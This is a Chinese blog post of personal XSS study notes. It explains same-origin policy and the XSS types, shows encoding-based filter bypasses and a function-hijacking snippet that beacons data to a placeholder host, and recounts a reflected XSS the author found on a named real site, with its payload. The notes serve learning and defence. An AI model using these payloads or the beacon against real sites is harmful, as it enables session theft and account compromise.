前言

从接触信安开始,就接触到了xss。无奈没有html的基础,又对javascript的不了解,一度对xss毫无理解力也无法利用。前段时间,再次(第三次)翻开《白帽子讲web安全》这本书。每次翻开这本书都有不一样的收获,原先可能无法理解的点,随着积累慢慢也能接受了。再结合《web前端黑客技术揭秘》把xss再学习了一次。便有了这篇总结。

什么是XSS?

XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

首先理解跨站。 为什么说是跨站脚本攻击呢?

又得再先谈谈,同源策略

浏览器的最核心最基本的安全功能就是同源策略。

什么算是同源?看如下

1
2
3
4
5
以下是相对于 http://www.a.com/test/index.html 的同源检测
• http://www.a.com/dir/page.html ----成功
• http://www.child.a.com/test/index.html ----失败,域名不同
• https://www.a.com/test/index.html ----失败,协议不同
• http://www.a.com:8080/test/index.html ----失败,端口号不同

总结可以发现,相同域名不同的文件路径可以算是同源。而域名不同,协议不同,端口不同都算是不同源。

而同源策略就是,限制了不同源的脚本无法读写对方的资源。注意这里说的是读写。
《web前端黑客技术揭秘》介绍了web资源中一些资源的可读可写权限。例如,document.cookies就是可读可写,还有DOM树也是可读可写。当然,前提是要在同一源内。

同源策略限制并非是完全的,即有一些不受同源策略的限制

1
2
3
•	不受同源策略限制的:
1、页面中的链接,重定向以及表单提交是不会受到同源策略限制的。
2、跨域资源的引入是可以的。但是js不能读写加载的内容。如嵌入到页面中的<script src="..."></script>,<img>,<link>,<iframe>等。

既然有同源策略的限制,那么加入a.com引用了b.com的js脚本就无法执行了吗?

先看看,如何引用b.com的js脚本。

1
2
#在a.com/a.html中有如下代码
<script src='http://b.com/b.js'></script>

《白帽子讲web》中解释:当引入了b.com的js脚本时,由于是a.com引入的,则b.js的源是a.com而不是b.com。对于当前页面来说,页面内存放的javascript文件的域并不重要,重要的是加载javascript的页面所在域是什么

再回头看前面对资源的解释。例如document.cookies。既然b.js脚本是当前源的脚本,那么自然而然的可以出读取当前页面的cookie。

于是,就有了一种情形,在b.com中的b.js写入窃取a.com中的cookie的脚本。所以跨站一词就到此解释完毕。(个人理解,可能不太对。)

XSS攻击的分类

反射型XSS

​ 《web前端黑客技术揭秘》解释:发出请求时,xss代码出现在URL中,作为输入代码提交到服务器,服务器解析后在相应内容出现这段代码,最后面浏览器解析执行。这种攻击多数需要诱导受害者点击链接等操作。

存储型XSS

​ 存储型XSS会将而已的payload存储在服务端,以至于只要一次攻击成功,之后的受害者只要访问了带有payload的页面就会再一次攻击。也就是恶意代码只需要提交一次。

DOM型XSS

​ 这种攻击并不提交到服务端,仅通过修改了DOM节点。而这完完全全是在客户端上发生的。表现出来的效果和反射型类似。

XSS的漏洞挖掘

个人认为,xss类似sql注入都是一种代码注入。而既然是代码注入,它所能够达到的攻击效果是和注入的语言有关。同样的,在面对各种防御机制,依旧需要通过语言特性来进行绕过。网上关于xss的绕过方式有很多。这边只记录几个特性。

HTML和javascript的自解码机制

在执行javascript代码之前,会进行一次自解码操作

布置一个html页面做几个小测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
##第一种触发事件以后,调用自定义函数,发现并没有自解码的效果。
<h1>
javascript 自解码问题
</h1>
<h3 id='test'>
</h3>
<script>
function test(){

var v = document.getElementById('demo').value;
document.getElementById('test').innerHTML = v;
}
</script>
<input type=text id ='demo'>
<input type=submit onclick='test()'>
## 第二种
##直接调用javascript自带的函数对html进行操作,可以看到 "<>即便被实体编码了,依旧执行了弹窗,也就是说在javascript对html编码进行了解码操作。
<input type=submit onclick='document.getElementById(&quot;test&quot;).innerHTML = &quot&lt;img src=s onerror=alert(1); /&gt&quot;'>
##
所以在如下情况,可控部分即便进行了html编码,也是无法防御xss的
<input type=submit onclick='可控部分'>

从上面的代码可以发现一攻击方式。 绕过了html编码的防御。 以上是html的自解码机制

《web前端黑客技术揭秘》还提到了\<img src\=s onerror=alert\(1\) \/\> 这种方式的转义。这种是完全无效的,即便添加了这样的转义,在javascript中执行的时候,会自动去转义。这是因为在javascript的上下文中,遵循javascript的语法。

1
2
3
4
5
6
<img src=s onerror=alert(1) /> unicode加密后会是如下,在javascript中会自动解码,并且执行。
http://www.msxindl.com/tools/unicode16.asp
一定要是unicode \u这种形式的
\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0073\u0020\u006f\u006e\u0065\u0072\u0072\u006f\u0072\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u0020\u002f\u003e\u0020
十六进制
\x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x73\x20\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x20\x2f\x3e\x20

javascript函数劫持

这个地方的理解有些点没有理解透彻,例如,我如何将一个函数进行劫持?是否有可能在存在XSS之后,插入了一段javascript代码进行函数劫持从而改写函数的用法,盗取数据信息呢?在尝试解决以上问题,并没找到一个很好的方法,而网上大多只是写了原理,即在调用目标函数之前,改写该函数

函数劫持的本质就是对函数改写

1
2
3
4
5
6
7
8
9
10
11
12
function log(s) {
var img = new Image();
img.style.width = img.style.height = 0;
img.src = "http://www.xxx.xx?xxx=" + encodeURIComponent(s);
}
###劫持alert函数
var _alert = alert;
window.alert = function(s) {
## 弹窗之前记录信息
log(alert.caller);
_alert(s);
}

以上代码可以写入在网页,可以监控到跨站测试者的攻击信息。其他代码可以发挥想象力构造。

HTML5新标签带来的隐患

HTML5带来了很多新特性,新标签。使得过去很多基于标签黑名单的防御机制失效。

一处反射XSS的挖掘

这处漏洞很小,报给补天还不收。。:(

懒得截图,简单的记一下思路。目标网址:http://ss.chaoxing.com/

输入内容,发现输入的内容会保持在搜索框里。一个想法就是按DOM型XSS去闭合一下搜索框来挖掘。

观察一下,会发现输出点有很多,不过大多都在html标签里,被输出成属性值。测试之后,无法使用引号闭合属性值的引号,当<>一起出现时会被过滤。过滤的方式是整个标签被删除.例如<aa>

最后发现如下输出点word。这输出点对引号没有过滤,使用><这种方式即可绕过对符号的处理。

1
2
3
4
5
6
7
8
9
 <a href="http://image.baidu.com/i?tn=baiduimage&ipn=r&ct=201326592&cl=2&lm=-1&st=-1&fm=index&fr=&sf=1&fmq=&pv=&ic=0&nc=1&z=&se=1&showtab=0&fb=0&width=&height=&face=0&istype=2&ie=utf-8&word=ZHIOYHIOHohoiho&oq=web&rsp=-1"
id='picId' style='display:none;' target="_blank">图片</a>

<!-- 输入payload
a"><img src=a onerror=alert(1);//
-->

<a href="http://image.baidu.com/i?tn=baiduimage&ipn=r&ct=201326592&cl=2&lm=-1&st=-1&fm=index&fr=&sf=1&fmq=&pv=&ic=0&nc=1&z=&se=1&showtab=0&fb=0&width=&height=&face=0&istype=2&ie=utf-8&word=a"><img src=a onerror=alert(1);//&oq=web&rsp=-1"
id='picId' style='display:none;' target="_blank">图片</a>

总结

其实不管是哪种类型的XSS,构造的方式基本相同。只不过是由于存储形式的不同导致与危害的不同。对这个的xss的挖掘过程还是很高兴的。在觉得毫无希望的时候,找到了关键的输出点。